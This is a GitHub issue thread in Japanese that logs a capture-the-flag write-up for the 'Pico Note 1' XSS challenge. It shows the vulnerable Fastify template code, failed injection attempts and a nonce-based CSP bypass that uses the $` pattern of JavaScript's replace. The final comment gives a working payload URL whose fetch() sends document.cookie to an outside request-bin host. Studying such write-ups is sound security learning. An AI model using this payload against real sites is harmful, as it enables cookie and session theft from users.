roaris / ctf-log

0 stars 0 forks source link

AlpacaHack Round 2 : Pico Note 1 #67

Open roaris opened 2 months ago

roaris commented 2 months ago

https://alpacahack.com/challenges/pico-note-1 時間内に解けなかった問題

roaris commented 2 months ago

XSSが発動するURLをクローラに報告し、クローラに設定されたCookieを取得する形式の問題

サーバの実装 CSPが設定されていることに着目する また、replace関数を使ったテンプレートエンジン(render関数)が使われている

import Fastify from "fastify";
import crypto from "node:crypto";
import { promises as fs } from "node:fs";

const app = Fastify();
const PORT = 3000;

// A simple template engine!
const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

app.addHook("onRequest", (req, res, next) => {
  const nonce = crypto.randomBytes(16).toString("hex");
  res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
  req.nonce = nonce;
  next();
});

app.get("/", async (req, res) => {
  const html = await render("index", {});
  res.type("text/html").send(html);
});

app.get("/note", async (req, res) => {
  const title = String(req.query.title);
  const content = String(req.query.content);

  const html = await render("note", {
    nonce: req.nonce,
    data: JSON.stringify({ title, content }),
  });
  res.type("text/html").send(html);
});

app.listen({ port: PORT, host: "0.0.0.0" });

テンプレート {{nonce}}{{data}}がrender関数によって置き換えられる

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Pico Note</title>
    <link
      href="https://fonts.googleapis.com/css2?family=Noto+Emoji&family=Press+Start+2P&display=swap"
      rel="stylesheet"
    />
    <link
      href="https://unpkg.com/nes.css@2.3.0/css/nes.min.css"
      rel="stylesheet"
    />
    <style>
      body {
        font-family: "Press Start 2P", "Noto Emoji", sans-serif;
        background-color: #212529;
        color: #fff;
        max-width: 56rem;
        margin: auto;
        padding: 3rem;
        display: flex;
        gap: 2rem;
        flex-direction: column;
        justify-content: start;
      }
    </style>
  </head>

  <body>
    <h1>Pico Note</h1>
    <div class="nes-container is-dark with-title">
      <p id="title" class="title"></p>
      <p id="content"></p>
    </div>
    <div style="display: flex; justify-content: center">
      <button id="back" type="button" class="nes-btn">Back</button>
    </div>
    <script nonce="{{nonce}}">
      const { title, content } = {{data}};
      document.getElementById("title").textContent = title;
      document.getElementById("content").textContent = content;

      document.getElementById("back").addEventListener("click", () => history.back());
    </script>
  </body>
</html>
roaris commented 2 months ago

入力値(クエリパラメータのtitleとcontent)がJavaScriptの文字列リテラルとして反映されていることが分かる image

titleを"-alert(1)-"にしてよう {"title":""-alert(1)-"","content":"ijklmnop"}となることを期待している image "がエスケープされて、\"になっている

今度はtitleを\"-alert(1)-\"にしてみよう エスケープ処理に不備があって、\のエスケープがされていないなら、{"title":"\\"-alert(1)-"\\","content":"ijklmnop"}となり、\\で\のエスケープと解釈され、alert(1)が実行される image \もちゃんとエスケープされて、\\になっている

このエスケープは

const html = await render("note", {
    nonce: req.nonce,
    data: JSON.stringify({ title, content }),
});

のJSON.stringifyでされている JSON.stringifyはJavaScriptの組み込み関数なので、この処理に不備があるとは考えにくい

roaris commented 2 months ago

次にtitleを</script><script>alert(1)</script>にする image 元々のscriptタグを終了させて、新しいscriptタグを作ることが出来た しかし、alert(1)は実行されない CSP(今回の場合、script-src: 'nonce-xxx')が設定されているためである

image

roaris commented 2 months ago

CSPをなんとかbypass出来ないか考える CSPはレスポンスヘッダ以外にもmetaタグで設定出来る 例 : <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-6c951d6e49503a64fe25c9e85c9539dc'" />

metaタグでCSPを上書き出来ないか試してみる script-srcにunsafe-inlineを指定して、どんなインラインスクリプトでも実行できるようにする image

content=\"script-src 'unsafe-inline'\"となってしまっている時点で無理そうだが、ブラウザで確認すると

image

The Content Security Policy '\"script-src' was delivered via a <meta> element outside the document's <head>, which is disallowed. The policy has been ignored.

というエラーメッセージ そりゃそうだという気になる(もしこれが成功したら、CSPの意味がなくなるので)

roaris commented 2 months ago

この問題は、テンプレートエンジンで使われているreplace関数の仕様に着目する必要がある

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%A8%E3%81%97%E3%81%A6%E3%81%AE%E6%96%87%E5%AD%97%E5%88%97%E3%81%AE%E6%8C%87%E5%AE%9A にreplace関数の興味深い仕様が載っている、

第二引数に$`を含めると「一致した部分文字列の直前の文字列の部分を挿入します」とのこと どういうことか確かめる

> "abcdefgh".replace("c", "x")
< 'abxdefgh'
> "abcdefgh".replace("c", "$`x")
< 'ababxdefgh'

とりあえず、titleを$`にしてみる image 選択範囲が$`の部分である nonceが付与されたscriptタグを増やすことが出来た

roaris commented 2 months ago

後は試行錯誤するだけ titleを, contentを$`alert(1)にすると上手くいく image もちろん、const { title, content } = alert(1)でエラーは出るが(Uncaught TypeError: Cannot destructure property 'title' of 'alert(...)' as it is undefined.)、alert(1)自体は実行される

roaris commented 2 months ago

後はRequest Basketsなどを使ってフラグを回収出来る

http://web:3000/note?title=</script>&content=$`fetch('https://rbaskets.in/5wf3qzb?'%2Bdocument.cookie)</script>

をクローラに報告 document.cookieの前の%2Bは+のURLエンコード(+だとURLデコードした時にスペースになってしまうので上手くいかない) image